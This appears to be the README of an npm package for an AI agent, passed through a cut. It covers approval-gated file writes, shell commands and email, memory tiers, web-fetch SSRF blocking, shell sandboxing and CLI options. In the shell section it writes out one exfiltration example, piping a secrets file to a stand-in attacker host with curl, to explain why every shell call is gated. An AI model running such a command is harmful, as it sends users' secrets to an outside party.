@buildaharness/aielia
v0.3.3
Published
An open-source AI agent you can hand real work to. Runs the full 11-layer Build A Harness every turn, controlling what it may do, believe and spend, and stages file writes, shell commands and email for your approval. CLI, browser, and desktop.
Maintainers
Readme
@buildaharness/aielia
A general-purpose, everyday-use AI agent you can hand real, multi-step work to —
research across a list, files to go through, a message to draft and send. It runs
on the full 11-layer harness (@buildaharness/harness) every turn, which controls
what it may do, what it may believe, and what a job may cost — light enough for
"what's the weather", and it stages anything that can't be undone (write_file,
run_shell_command, send_email) for your approval. Website: https://myaielia.com.
Design
The harness here is a governance and reliability control plane, not just a
bundle of reasoning layers: the agent (the tool-calling loop in
agent-loop.ts) proposes what to do, and a mix of harness- and
policy-governed gates decide what's actually allowed to happen — see
ADR-003 (harness consolidation) for the 5-primitive model this
assistant's design is one instance of. As of 2026-09-06 the tool loop
runs inside the harness by default (ASSISTANT_ONE_LOOP, default
enabled — the internal plan): HarnessRuntime's
own driveMainLoop calls AgentLoop's tool-calling machinery one iteration
at a time, and the per-tool-call gate composes the harness's own live
ControlState with the turn-local one accumulated from this turn's prior
tool outcomes (whichever is more restrictive wins). Setting
ASSISTANT_ONE_LOOP=disabled (or /config set oneLoopMode disabled) falls
back to the pre-rewire path — the tool loop runs to completion first and the
full HarnessRuntime then runs once per turn as bookkeeping over the
finished reply — kept for one rollout window as an escape hatch before the
flag is removed (ADR-003 finding F-6).
Where a heavy autonomous agent decomposes an objective into a multi-task plan,
this assistant treats every chat message as one objective, one task. That
keeps HarnessRuntime.run() cheap per turn (no LLM calls inside the harness
loop itself — it's synchronous state-machine bookkeeping) while still walking
every layer: World Model, Evidence, Hypothesis, Control State, Planning
(trivial one-task graph), Execution, Verification, Recovery path, Memory
(context compression), Learning (ExperienceStore), and the Reviewer Pass +
output validation at the end.
Three things live outside a single harness run, deliberately:
- Conversation history — each turn's
WorldModel/TaskGraph/etc. are scratch state for that turn only, the same way they are for any harness run. The transcript is kept in aMemoryAdapter(in-memory by default; swap inIndexedDBAdapterfrom@buildaharness/runtimefor browser persistence) and fed to the LLM call directly. Alongside every message appended totranscript:<sessionId>,PersonalAssistantalso writes a parallel, individually-addressabletranscript-msg:<sessionId>:<n>entry (anIndexedMessage— seeassistant.ts) so a search can resolve a hit to the one exchange that matched instead of the whole session array. This index is derived, not authoritative:transcript:<sessionId>remains the one source of truth for replay/compaction/export, and index entries are never deleted bytranscript-compaction.ts, so a search can still find something that's since aged out of the live (compacted) transcript window. On first construction,PersonalAssistantalso runs a one-off, idempotentbackfillMessageIndex()in the background (not awaited, so it never delays the first turn) to index any transcript history that predates this feature.FileSystemAdapter.search(),IndexedDBAdapter.search(), andInMemoryAdapter.search()all funnel through the same tokenized, graduated relevance scorer (scoring.ts'sscoreEntries()) and are a linear scan over every stored entry, not an inverted index — fine at the message volumes a single personal-use install accumulates over weeks/months, but expect it to get noticeably slower after tens of thousands of messages. The/searchcommand (see the command table below) is the user-facing entry point:PersonalAssistant.searchTranscript()scores every stored entry, keeps onlytranscript-msg:hits, and returns them ranked, so a real match is never pushed out by an unrelated non-transcript entry scoring higher. - Risk classification —
risk-classifier.tsis a cheap keyword heuristic that flags consequential requests (send/delete/pay/post/...) before the harness — and before the one real network call — ever runs. AHIGHrisk turn returnsstatus: 'needs_approval'with zero LLM calls spent; callturn(message, { approved: true })to proceed after the caller confirms. A separate, LLM-backedclassifyTurnIntentcall (turn-intent-classifier.ts) produces non-consequential hints — decomposition, plan-template match, triviality — plusrequiresApproval/isAbandonRequestguesses; those two guesses are never trusted directly.turn-policy.ts'sevaluateTurnPolicy()/evaluateAbandonPolicy()always recompute the actual approval requirement and abandon decision from structural signals (riskLevel,isBulkReminderRequest,hasActivePlan) — the classifier's hint is one input, never the decision (INV-14). A classifier error or unparseable response yieldsriskLevel: 'UNKNOWN', which the policy always routes torequiresApproval: true, never a silent low-risk default. - Learning across turns —
ExperienceStore(strategy weights, learned decompositions, recovery sequences) is in-memory by default; swap inDexieExperienceStorefrom@buildaharness/runtimeso it survives a page reload.
Checkpointing and resume
HarnessRuntime.run()/.resume() are async and can suspend mid-loop, yielding
a serializable HarnessCheckpoint after each iteration that makes task
progress. PersonalAssistant uses this to survive a crash or reload during
a turn, not just between them: every turn writes its checkpoint to a
checkpointStore (in-memory by default; swap in IndexedDBAdapter for
persistence) keyed by turn:<sessionId>, and deletes it once the turn
finishes (normally or via escalation). If turn() is called again for a
session that still has a leftover checkpoint — because the previous call never
reached that cleanup — it resumes the interrupted harness run instead of
silently starting over.
Net effect: one real LLM call per ordinary turn, zero for a blocked one, and every layer of the harness touched on the ones that do run — matching what myaielia.com/harness-comparison calls out as missing from Hermes Agent, Kilo Code, and OpenClaw: none of them ships a formal Control State resolver and a Reviewer/output gate together.
Recovering a stuck checkpoint
Resuming a leftover checkpoint can itself fail — most often because whatever
crashed the process partway through a turn crashes again identically on
replay. PersonalAssistant tracks failed resume attempts per session
(persisted, so it survives the crash too) and, after 2 in a row for the same
checkpoint, discards it automatically and starts that turn fresh instead of
retrying forever — a checkpoint_discarded trace event marks when this
happens. clearCheckpoint(sessionId) / getCheckpointStatus(sessionId) give
a caller (the CLI's /checkpoint / /checkpoint clear, see "REPL commands"
below) an explicit, scoped way to inspect or discard a checkpoint by hand
without waiting for that automatic cap, and without the collateral damage of
clearSession() (/clear//new), which also wipes the session's transcript,
facts, and plan — previously the only in-product recovery option, short of
moving checkpointStore's whole backing directory aside by hand.
Memory tiers
fact-extraction.ts's MemoryTier type ('episodic' | 'semantic' |
'procedural' | 'preference' | 'commitment' | 'identity') is a real,
structurally-enforced classification — not just a naming convention — layered
on top of the stores that already exist (Phase E of the harness consolidation
plan, criticism001 #8 / criticism002 #6: "transcript ≠ memory"). Every
UserFact a turn captures gets routed to exactly one tier by tierForFact(),
and TIER_RULES fixes each tier's allowed provenance, retention, and whether
contradiction detection considers it:
| Tier | Answers | Allowed FactSource | Retention | Contradiction-checked | Where it lives |
|---|---|---|---|---|---|
| Episodic | "What was said or mused, unconfirmed?" | any | session | no | facts:<sessionId> — also every model_inferred/observed UserFact lands here regardless of its durable bit; an unconfirmed model guess is never Knowledge |
| Semantic | "What's currently stated as true?" | user_asserted, externally_verified | durable (by tier policy) | yes | facts:<sessionId> or facts:durable, depending on the existing promotion policy (durable bit) — the tier a fact belongs to and whether it's actually promoted are tracked separately today |
| Identity | "Who is this?" (name, "call me X") | user_asserted | durable | yes | facts:durable |
| Preference | "What does the user want?" (stated preference) | user_asserted | durable | yes | facts:durable; a configured preference (backend, model, enableShell) is separately AssistantConfig (config.ts), not a UserFact at all |
| Procedural | "What worked before?" | none — no UserFact is ever tagged procedural | durable | no | ExperienceStore / DexieExperienceStore — strategy weights, learned decompositions, recovery sequences |
| Commitment | "What's pending?" | none — no UserFact is ever tagged commitment | durable | no | reminderStore |
procedural and commitment having an empty allowedSources is
structural, not just documented: no UserFact — and therefore nothing a
model or the user merely said — can ever populate the Experience or
Commitment stores through tierForFact(). That's the enforced half of
INV-16 ("no Experience-tier entry is readable as a Knowledge belief");
the other half is that isKnowledgeTier() only returns true for semantic,
identity, and preference — episodic entries, procedural weights, and
commitments never enter contradiction detection as if they were beliefs.
The conversation transcript itself (transcript:<sessionId>, "what was
said" verbatim) and a single turn's AnswerClaim (evidence vs. claim for one
reply, see below) sit outside this tier system — they're the raw material a
tier's UserFacts get extracted from, not memory tiers themselves.
fact-extraction.ts's TIER_RULES/tierForFact()/isKnowledgeTier() are
the canonical reference — update the doc comments there rather than
re-deriving the mapping if it changes.
Usage
import { LLMClient } from '@buildaharness/runtime'
import { PersonalAssistant } from '@buildaharness/aielia'
const assistant = new PersonalAssistant({
llmClient: new LLMClient({ proxyUrl, authToken }),
})
const result = await assistant.turn('What time zone is Tokyo in?')
// { status: 'ok', reply: '...', riskLevel: 'LOW', controlState: {...}, stepsUsed: 1 }
const gated = await assistant.turn('Send an email to my boss saying I quit.')
// { status: 'needs_approval', reason: '...', riskLevel: 'HIGH' } — no LLM call made
await assistant.turn('Send an email to my boss saying I quit.', { approved: true })
// proceeds and runs the harness normallyIn a browser, use PersonalAssistant.create() instead of new PersonalAssistant()
to default transcript, learning, and checkpoint storage to their IndexedDB/Dexie-backed
implementations, so all three survive a page reload:
const assistant = await PersonalAssistant.create({
llmClient: new LLMClient({ proxyUrl, authToken }),
})create() only supplies a default for storage the caller didn't already pass
in — outside a browser it falls back to the same in-memory defaults as the
plain constructor unless the caller passes its own memory/experienceStore/
checkpointStore, which is exactly what the CLI and the Tauri desktop app do
(see "Front ends" below) to get real persistence without either of them
needing a browser.
Front ends
Three front ends share this one package and harness underneath — none is more "real" than the others, and each picks the storage backend that fits where it runs:
| Front end | Where | Storage |
|---|---|---|
| This package's PersonalAssistant class | Any Node/browser code | In-memory by default; bring your own MemoryAdapter/ExperienceStore |
| CLI (cli.ts, below) | Terminal | FileSystemAdapter/FileSystemExperienceStore (@buildaharness/runtime) over node:fs/promises, under ~/.buildaharness/personal-assistant/ |
| @buildaharness/chat-ui | Browser | IndexedDBAdapter/DexieExperienceStore via PersonalAssistant.create() (best-effort — see packages/runtime/README.md's persistence section) |
| @buildaharness/desktop | Native window (Tauri, wraps chat-ui) | Same FileSystemAdapter/FileSystemExperienceStore classes as the CLI, but over @tauri-apps/plugin-fs instead of node:fs, under appLocalDataDir() |
Both filesystem backends are the same FileSystemAdapter/FileSystemExperienceStore
classes — see packages/runtime/README.md's "Filesystem-backed storage"
section for how the file-I/O seam that makes that possible works.
The REPL commands below (/clear, /export, /undo, /memory, /cost,
/doctor) have GUI equivalents in chat-ui/desktop too — a header button for
each action, and a Settings > Diagnostics section for the read-only ones —
reusing this package's formatMemorySummary/formatCostSummary/formatDoctorReport/
formatTranscriptMarkdown/estimateCostUsd exports so both front ends render
identical data, never two descriptions of the same facts. See
packages/chat-ui/README.md's "Session actions & Diagnostics" section.
File access via tools
PersonalAssistant can give the model real read_file/list_directory/write_file
tools, scoped to a single sandboxed workspace directory, by passing a fileTools
option:
const assistant = new PersonalAssistant({
llmClient,
fileTools: { backend, workspaceRoot: '/path/to/workspace' }, // any FsBackend — node:fs/promises, @tauri-apps/plugin-fs, etc.
})Absent by default — without it, turn() behaves exactly as before this option
existed (a single plain chat call, no tools).
Every path a tool call requests is resolved and validated against workspaceRoot
before any I/O: ../ traversal, an absolute path outside the root, and a symlink
inside the root that points outside it are all rejected (see file-tools.ts's
resolveInWorkspace/assertRealPathInWorkspace). A rejected or errored tool call
is reported back to the model as a clear decline, never a silent no-op dressed up
as success.
write_file never executes inline. It always stages a proposal — { kind:
'write', path, content, stagedAt } — as JSON under
<workspaceRoot>/.pending-actions/<id>.json, and the turn returns
status: 'needs_approval' with a pendingActionId (and pendingActionKind:
'write'), the same shape needs_approval already has for a HIGH-risk message,
just triggered by the tool call itself rather than a regex over the user's
words (a request like "organize my notes into a summary file" doesn't trip the
message-level risk gate, yet it performs a real write once the model decides to
call write_file). Resume it by ID rather than re-asking the model:
const staged = await assistant.turn('Summarize this into notes.md')
// { status: 'needs_approval', reason: '...', pendingActionId: '...', pendingActionKind: 'write' }
await assistant.turn('Summarize this into notes.md', { approved: true, pendingActionId: staged.pendingActionId })
// applies the exact staged content directly via FsBackend — no second LLM call
// { status: 'ok', reply: 'Wrote "notes.md".' }Declining ({ approved: false, pendingActionId }) discards the staged record
without writing. A pending action left over from a crashed/abandoned turn sits
in .pending-actions/ indefinitely — harmless (never applied without an explicit
approved: true with the matching ID) but not currently auto-swept. This same
staging record shape (a kind discriminator) is shared with run_shell_command
(see "Shell access via tools" below) and send_email.
send_email — a real "effect" tool behind the gate
The flagship demo ("send an email to my boss saying I quit") only means
something if there's an actual send behind the approval. Pass actionTools with
a delivery transport and the model gets a send_email tool staged exactly like
write_file — it can only ever propose a recipient/subject/body; the message
is delivered only after { approved: true, pendingActionId }, through the
injected transport, never by the model.
import { PersonalAssistant, createResendSender } from '@buildaharness/aielia'
// or: import { createSmtpSender } from '@buildaharness/aielia'
const assistant = new PersonalAssistant({
llmClient,
actionTools: {
backend, workspaceRoot,
sendEmail: createResendSender({ apiKey: process.env.RESEND_API_KEY!, from: '[email protected]' }),
},
})
const staged = await assistant.turn('Email my boss that I quit.')
// { status: 'needs_approval', pendingActionKind: 'email', reason: 'To: … / Subject: … / …' }
await assistant.turn('Email my boss that I quit.', { approved: true, pendingActionId: staged.pendingActionId })
// delivers the exact staged message; { status: 'ok', reply: 'Sent the email to …' }In the CLI, set enableEmail + emailProvider (resend or smtp) + emailFrom
and the provider credentials via /config or ASSISTANT_EMAIL_* /
ASSISTANT_SMTP_* env vars. Without a transport configured, no send_email tool
exists — the model can't propose what it can't be given.
Both backends enforce the same "never write inline" rule, by different mechanisms:
- Proxy/Anthropic backend (
LLMClient):PersonalAssistant's tool loop (capped at 5 iterations) callscallChatStructureddirectly, executes non-mutating tool calls for real, and interceptswrite_fileitself before it ever reachesfile-tools.ts's staging code. - Claude CLI backend (
ClaudeCliLLMClient): Claude Code's own agentic loop calls afile-toolsMCP server (file-tools-mcp-server.mjs) autonomously within a singleclaude -pinvocation — there's no outer TS loop to intercept each call, so the gate lives inside the MCP server'swrite_filehandler instead, which stages exactly the same.pending-actions/<id>.jsonrecord.ClaudeCliLLMClientstill always passes--tools ""(Claude Code's own built-in Read/Write/Bash stay off) and adds--mcp-config,--strict-mcp-config(ignore any ambient project.mcp.json), and--dangerously-skip-permissions(headless-pmode has no way to answer an interactive tool-permission prompt) only whenfileToolsorshellToolsis configured.
v1 is deliberately read/list/write only — no delete/move tool (higher consequence than a write, no "undo" via re-approval). One workspace root per assistant instance; no multi-root or per-request override. chat-ui doesn't have a write-approval UI yet — file tools are CLI/desktop-only for now.
Clarifying questions
Beyond the write/shell/email approval gate above, turn() can also pause to ask the user a
structured, multi-option clarifying question instead of guessing or halting with a bare error —
"which deploy target?" with concrete choices, not a free-text missing_info escalation. This is
off by default; see "Enabling it" below.
When the harness raises an escalation whose SurfaceBlocker carries a populated questions batch
(1–4 questions, each with 2–4 options plus an automatic free-text "Other"), and the effective ask
mode (see below) is enabled, turn() returns status: 'needs_clarification' with a
pendingClarificationId and the questions array, instead of the terminal status: 'escalated',
reply: null shape that same blocker would otherwise produce:
const staged = await assistant.turn('Deploy the app.')
// { status: 'needs_clarification', pendingClarificationId: '...',
// questions: [{ id: '...', question: 'Which deploy target?', options: [...] }] }
await assistant.turn('Deploy the app.', {
pendingClarificationId: staged.pendingClarificationId,
clarificationAnswer: { answers: [{ questionId: '...', kind: 'selected', selectedLabels: ['staging'] }] },
})
// resumes the exact same harness run from its checkpoint with the answer folded in — no
// re-derivation, no second "what did you mean" LLM call
// { status: 'ok', reply: 'Deployed to staging.' }Like pendingActionId, this is checkpoint-and-resume under the hood, not a literal blocking call:
the harness run is checkpointed at the escalation point (reusing the same crash-mid-turn machinery
"Checkpointing and resume" above describes) and resumed by ID, never by asking the model to guess
again. If more than 4 questions are genuinely material at once, the caller that raised the
escalation batches the top 4 and defers the rest — a deferred question only comes back as a
follow-up needs_clarification batch if it's still unresolved once the first batch's answers are
folded in, resolved through this exact same path.
Two kinds of sites can raise a questions batch: the Trajectory Supervisor's ASK_USER directive
(see ADR-005 — currently inert by default, since
HARNESS_TRAJECTORY_SUPERVISOR stays off) and a handful of deterministic sites with a genuinely
enumerable option set, e.g. a batch-research budget running out ("continue with N more steps" /
"stop and summarize" / "let me clarify the goal"). A site with no discrete option set keeps
today's plain missing_info halt unchanged — this mechanism never forces a multiple-choice
question where the honest answer is open-ended.
Enabling it. Off by default (askMode: 'disabled', matching DEFAULT_ASK_MODE in
ask-mode-flag.ts) — with it off, every escalation stays on today's plain escalated/
reply: null path, byte-for-byte. Turn on with the ASSISTANT_ASK_MODE=enabled env var,
/config set askMode enabled in the CLI, VITE_ASSISTANT_ASK_MODE=enabled at chat-ui's build
time, or a per-turn() { askMode: 'enabled' } override — following oneLoopMode's exact
env/build-time/per-call chain. The effective mode is always the most restrictive of (global
config, per-session override, per-call-site opt-out): a narrower scope can turn structured
questions off even when a broader one left them on, never the reverse. See
ADR-006 for the full design and why the default hasn't
flipped to 'enabled' yet — the mechanism and its conformance suite are done, but the benchmark
run that would justify the flip hasn't happened.
Web access via tools
web_search/fetch_url are read-only — same trust tier as read_file/
list_directory — so both execute for real immediately, with no human
approval step, via a webTools option. "No human approval" doesn't mean
unchecked: every read-only call, on either backend, is checked against a
live, turn-scoped ControlState (deterministic ALLOW/DENY/REQUIRE_APPROVAL,
built from how earlier tool calls the same turn went) before it runs — a
developing failure pattern can trip a real deny mid-turn. On the proxy
backend this happens directly in AgentLoop.runToolIterations
(checkToolPolicy() → tool-policy.ts's evaluateToolPolicy()); on the
claude-cli backend, where tool calls would otherwise resolve invisibly
inside the claude subprocess, ClaudeCliLLMClient's startToolGateServer()
opens an ephemeral loopback socket before each callChatStructured call and
the MCP server's requestToolGate() blocks on it before executing — a deny
comes back as an MCP tool error the model sees in its own conversation, and
both sides fail open (allow), never closed, on a dead connection or an
unparseable response. write_file/run_shell_command/send_email are
untouched by this mechanism — they keep staging unconditionally, as below.
const assistant = new PersonalAssistant({
llmClient,
webTools: { search: (query) => braveSearch(query, apiKey) }, // any WebSearchResult[]-returning function
})WebToolsContext.search has no built-in default (the caller supplies a real
backend, an API client, etc.) — web-search-provider.ts ships a ready-made
one, wired in by the CLI when ASSISTANT_ENABLE_WEB=1 is set (on the
claude-cli backend the same one runs inside the file-tools MCP server, since
that backend's tools can't take an injected function):
braveSearch— queries the Brave Search API, the only backend this app offers. RequiresBRAVE_SEARCH_API_KEY(see below). A prior keyless DuckDuckGo-HTML-scraping backend was removed: DuckDuckGo's HTML endpoint resets the TLS connection outright for any non-browser client — a block beneath the HTTP layer no request header or retry can work around.
Both web_search and fetch_url results are wrapped in
<untrusted_external_content> (with a warning prefix if a regex heuristic
flags instruction-shaped text) before they reach the model — see
trust-tagging.ts — since this is content the assistant does not vouch for.
fetch_url refuses to fetch a private, loopback, or link-local network
target. Before issuing any request it resolves the target hostname and
rejects loopback/RFC1918-private/link-local/cloud-metadata addresses
(169.254.169.254 included) — re-checked on every redirect hop, since a public
URL can 302 to a private one. A blocked target raises a PrivateNetworkTargetError,
reported back to the model as a tool error, never a silent no-op. This is a
DNS-resolution-based application check, not a network-level policy — not a
substitute for a network-isolated environment if that's a hard requirement.
Independent of fileTools/shellTools — a caller can enable web access
without ever exposing the filesystem or shell.
Batch research budget
The flat maxSteps cap that governs an ordinary chat turn (see below) doesn't
know the difference between a one-question turn and a turn asking for the same
lookup across many items — a 7-item batch and a 1-item question get the same
budget. When webTools is configured, a message is also checked against
detectHomogeneousBatchList (batch-list-detector.ts) before the flat loop
starts: a syntactically explicit list — newline/bullet/numbered lines, ≥3
qualifying entries, name-shaped content (a capitalization-ratio heuristic, not
an LLM call) — routes the turn through a separate, self-calibrating budget
instead. Anything else (open-ended discovery, free-text comma-enumeration, a
list already mid-HarnessRuntime plan run) falls straight through to the flat
loop, unchanged.
Once triggered, runBatchToolLoop resolves each item in its own bounded
sub-loop, never a shared pool:
- Probe phase — the first 1–2 items (whichever leaves at least one item
unprobed) resolve against a generous fixed cap, and their real cost
calibrates a per-item budget (
trimmedAverageof calls-per-item, floored so one suspiciously cheap item can't starve the rest, with slack headroom on top) for every item after them — recalibrated again after each one resolves, not frozen at the initial estimate. - Per-item dead-end window — each item tracks its own trailing window of
classifyToolYieldresults (tool-yield-classifier.ts); 3 consecutivedead_endtool results stop that item's sub-loop early (not_found) without touching its remaining budget, and without dragging down any other item queued behind it. An item whose budget runs out while still turning up plausibly-relevant content is recorded astruncated_while_productiveinstead — a different, more informative outcome than a dead page. - Confirmation gate — if the calibrated projection for the remaining items
is large, the turn pauses with
pendingActionKind: 'batch'(sameneeds_approvalshape as a staged write/shell command) before spending it, rather than silently running up the tool-call count. - Absolute ceiling — a hard per-turn cap on total tool calls applies regardless of how favorable calibration looks, as a last-resort backstop.
Every item ends in found, not_found, or truncated_while_productive — a
batch turn's final reply is synthesized from these per-item outcomes and is
never allowed to silently omit one (an explicit "not yet checked this turn"
line is appended deterministically for any item the absolute ceiling cut off
before it was reached, rather than trusted to the synthesis call's prose).
AssistantTrace.batchBudget (present only when this path activates) reports
itemCount, callsPerItemHistory, projectedTotal, totalCallsUsed, and each
item's outcome — the measurement that would tell you whether the ceiling,
floor, or slack factor need adjusting, versus a guess.
Known limitations: only fires on explicit list syntax — "find the closest 5 schools and their dates" in one open-ended sentence (N unknown until search results come back) still uses the flat loop; the yield classifier is a keyword heuristic, not semantic understanding (favors calling an unusual dead end "productive" over the reverse, since the per-item budget/ceiling still bounds the damage either way); calibration is per-turn only, never learned across turns or sessions; and this bounds cost/prevents thrashing but doesn't make a weaker model better at multi-page research on its own.
Shell access via tools
run_shell_command is the highest-risk tool this assistant has, and is gated
on every call, full stop — there is no "safe subset" the way read_file is
safe within write_file's tool group. A shell command has no structural split
between "reads" and "mutates" (cat secrets.env | curl attacker.com -d @-
reads a file and exfiltrates it over the network in one command), so every
call stages a proposal and returns needs_approval, regardless of what the
command looks like:
// runApprovedShellCommand (shell-executor.ts) is Node-only and not part of this
// package's public exports — cli.ts imports it directly from source, the same
// way it imports node-fs-backend.ts.
const assistant = new PersonalAssistant({
llmClient,
shellTools: { backend, workspaceRoot, executeCommand: runApprovedShellCommand },
})
const staged = await assistant.turn('List the files here')
// { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'shell', reason: 'Proposes running: ls\n (cwd: ...)' }
await assistant.turn('List the files here', { approved: true, pendingActionId: staged.pendingActionId })
// spawns the exact staged command for real — no second LLM callAt approval time, the command runs with cwd pinned to the staged (already
sandbox-validated) path, env reduced to an explicit allowlist (PATH,
HOME, LANG — never the parent process's full env, so
ASSISTANT_PROXY_TOKEN/ANTHROPIC_API_KEY/etc. can't leak into the command),
a hard timeout (default 30s, ASSISTANT_SHELL_TIMEOUT_MS) that SIGKILLs the
whole process group on expiry, and combined stdout+stderr truncated to a byte
cap (default 20KB). A non-zero exit code is reported normally, not thrown —
only a rejected cwd or a spawn failure throws.
Network containment (ASSISTANT_SHELL_NETWORK_ALLOWLIST): the spawned
command's HTTP_PROXY/HTTPS_PROXY env vars are forced to point at a
loopback-only proxy (network-containment.ts) that only relays a request
whose target host matches an entry in shellNetworkAllowlist (exact match or
subdomain — comma-separated hostnames via the env var, e.g.
ASSISTANT_SHELL_NETWORK_ALLOWLIST=api.example.com,registry.npmjs.org).
Undefined/empty denies all network access from an approved shell
command — the safe default, since no host is a legitimate target until the
user opts one in. This is a Node-level restriction, not an OS sandbox: it
stops any tool that honors proxy env vars (curl, wget, most language HTTP
clients) from reaching a non-allowlisted host, but does not stop a tool
that opens raw sockets and ignores those env vars entirely. That tradeoff —
weaker than real OS-native sandboxing (Linux seccomp/landlock, macOS
sandbox-exec, Windows job objects) or a container-per-command, but
identical across the CLI and the Tauri desktop app with no new dependency —
is deliberate; see the internal plan's Decision 6
for the full comparison.
The command's output gets the same trust boundary as fetch_url/web_search.
Once approved, stdout+stderr is wrapped in <untrusted_external_content> (with
the same injection-heuristic warning prefix — see trust-tagging.ts) before
it's saved into the transcript: a command like cat some-fetched-page.html can
carry the same injection-shaped text a fetched web page can, and that reply
becomes conversation history a later turn could otherwise misread as
instructions.
executeCommand is a required, injected function rather than something
shell-tools.ts implements itself: assistant.ts is bundled into the browser
build (via index.ts) as well as the CLI, so it never imports
node:child_process directly. The real child_process.spawn-based
implementation lives in shell-executor.ts (mirrors node-fs-backend.ts —
deliberately not exported from this package's index; only cli.ts imports it).
On the Claude CLI backend, run_shell_command is never a Claude Code built-in:
ClaudeCliLLMClient never adds Bash to --tools under any configuration
(there's a unit test asserting this as a hard invariant) — instead it's served
by the same MCP server as the file tools, gated behind ENABLE_SHELL_TOOLS=1,
which only stages (never executes), exactly like write_file.
Known limitations: no persistent shell session (each approved command runs
in its own fresh subprocess — a cd inside one command doesn't affect the
next); no streaming output (only available after the process exits or times
out). Shell access is opt-in and off by default — enabling it is a real trust
decision this plan makes safe, not risk-free.
CLI
ASSISTANT_PROXY_URL=http://localhost:8787 ASSISTANT_PROXY_TOKEN=... npm run cli --workspace=packages/aieliaSet ASSISTANT_WORKSPACE_DIR to sandbox the file tools to a specific directory
(defaults to the CLI's current working directory, mirroring how claude itself
defaults to the launch directory):
ASSISTANT_WORKSPACE_DIR=/path/to/workspace npm run cli --workspace=packages/aieliaWhen the model calls write_file, the CLI prints the proposed path and a
content preview and asks for confirmation before the turn is resumed with
{ approved, pendingActionId } — declining discards the staged write; nothing
is ever written without an explicit yes. A run_shell_command call is shown
the same way, printing the exact command and resolved cwd instead.
Set ASSISTANT_ENABLE_WEB=1 (plus BRAVE_SEARCH_API_KEY) to give the model
real web_search/fetch_url tools (no approval needed — see "Web access via
tools" above) and ASSISTANT_ENABLE_SHELL=1 to give it a real, approval-gated
run_shell_command tool scoped to ASSISTANT_WORKSPACE_DIR. Both are off by
default; ASSISTANT_ENABLE_SHELL must be exactly "1" (a stray
ASSISTANT_ENABLE_SHELL=0 left in an env file does not enable it). Optional
ASSISTANT_SHELL_TIMEOUT_MS (default 30000) tunes the shell timeout:
ASSISTANT_ENABLE_WEB=1 ASSISTANT_ENABLE_SHELL=1 npm run cli --workspace=packages/aieliaThe startup banner only mentions a capability when it's actually enabled —
nothing implies web/shell access is available when neither env var is set.
ASSISTANT_ENABLE_WEB now works on both backends: the proxy backend calls the
injected search function directly, and the Claude CLI backend registers
web_search on its file-tools MCP server — both need BRAVE_SEARCH_API_KEY
set, since Brave Search is the only backend (see below).
--dangerously-skip-permissions equivalent
Set ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS=1 (or /config set
dangerouslySkipPermissions true) to skip every approval prompt automatically
— the message-level risk gate (a HIGH-risk message like "send an email...")
and write_file/run_shell_command's per-call staging both resolve as if you
had already said yes. Off by default, and named to match Claude Code's own
flag: it is exactly as dangerous as it sounds — a proposed shell command or
file write executes with zero chance to review it first. The underlying
sandboxing (workspace-root path scoping, the shell env allowlist, output
truncation, the timeout) is unaffected; this only skips the ask, never the
limits underneath it. The startup banner switches shell's capability label
from "approval-gated" to "NOT approval-gated" and prints an extra ⚠ line
whenever this is on, so it's never silently in effect.
Non-interactive / scripted use
Piping input into the CLI (echo "..." | npm run cli ..., or any non-TTY stdin)
used to hit an approval gate as an incidental consequence of readline
eagerly draining and closing piped stdin before a slow turn reaches the
prompt: rl.question() throws, the fail-closed catch logs a generic
[could not read a response — treating as declined], and the turn is
declined. That fail-closed outcome was always correct, but it read as
something to be rediscovered by piping input at it rather than a documented
decision. ASSISTANT_NON_INTERACTIVE_APPROVAL makes it explicit:
ASSISTANT_NON_INTERACTIVE_APPROVAL=decline— every approval gate auto-declines immediately, without ever touching stdin. The right choice for scripted/CI use where every HIGH-risk or staged write/shell action should always be rejected outright:ASSISTANT_NON_INTERACTIVE_APPROVAL=decline npm run cli --workspace=packages/aielia < script.txtASSISTANT_NON_INTERACTIVE_APPROVAL=require-tty— fails fast at startup with a clear error if stdin isn't a real TTY, instead of running an entire session that can only discover the problem deep in, at the first approval prompt.
Leaving it unset keeps today's behavior (interactive prompt on a real TTY, fail-closed decline on piped stdin) exactly as before — this only makes the piped-stdin case an intentional choice instead of an implicit one. An unrecognized value is ignored, with a startup warning, rather than silently picking one of the two behaviors for you.
Updates and the update check
aielia --version / aielia --help print and exit. aielia update replaces the
standalone binary with the latest release (aielia update --dry-run only
reports what it would do): it downloads the binary for your platform, verifies
its SHA-256 against the hash published in the release manifest at
https://myaielia.com/aielia-latest.json (HTTPS only — anything else is
refused), and only then swaps it in. A copy installed with npm can't
self-replace, so there it prints npm update -g @buildaharness/aielia instead.
While an interactive session starts, the CLI also does a passive update
check: at most once per 24 hours, one plain GET of that manifest (falling
back to GitHub's Releases API) — no query string, no identifiers, default
User-Agent only — and, if a newer version exists, a one-line notice. The request
is visible to GitHub and Cloudflare (which serve myaielia.com). It never runs
for scripted use (stdin not a TTY, or ASSISTANT_NON_INTERACTIVE_APPROVAL set).
Turn it off with ASSISTANT_UPDATE_CHECK=disabled or
/config set updateCheck disabled; the explicit aielia update still works
with it off.
Web search needs a Brave Search API key
Brave Search is the only backend web_search supports. Enable web tools with
ASSISTANT_ENABLE_WEB=1 and supply BRAVE_SEARCH_API_KEY (get one at
api.search.brave.com/app/keys):
ASSISTANT_ENABLE_WEB=1 BRAVE_SEARCH_API_KEY=your-key \
npm run cli --workspace=packages/aieliaIf ASSISTANT_ENABLE_WEB=1 is set without BRAVE_SEARCH_API_KEY, the CLI
fails fast at startup with an error rather than silently registering a
non-functional web_search. The active state is shown in the startup banner
(web search/fetch (brave)). braveApiKey can also be set from inside a
running session with /config set instead of an env var — see
"Configuration" below.
Set ASSISTANT_LLM_BACKEND=claude-cli to skip the proxy entirely and run turns
through a local claude -p subprocess instead, using your already-authenticated
Claude Code CLI session rather than an API key (CLAUDE_PATH overrides the
claude binary path if it's not on PATH):
ASSISTANT_LLM_BACKEND=claude-cli npm run cli --workspace=packages/aieliaOr skip both the proxy and claude-cli and call a provider directly with your
own API key — ASSISTANT_LLM_BACKEND=anthropic|openai|openrouter plus
ASSISTANT_API_KEY:
ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \
npm run cli --workspace=packages/aielia
ASSISTANT_LLM_BACKEND=openai ASSISTANT_API_KEY=sk-... \
npm run cli --workspace=packages/aielia
ASSISTANT_LLM_BACKEND=openrouter ASSISTANT_API_KEY=sk-or-... \
npm run cli --workspace=packages/aieliaThese three go straight from this process to the provider's own API
(AnthropicLLMClient/OpenAICompatibleLLMClient in @buildaharness/runtime)
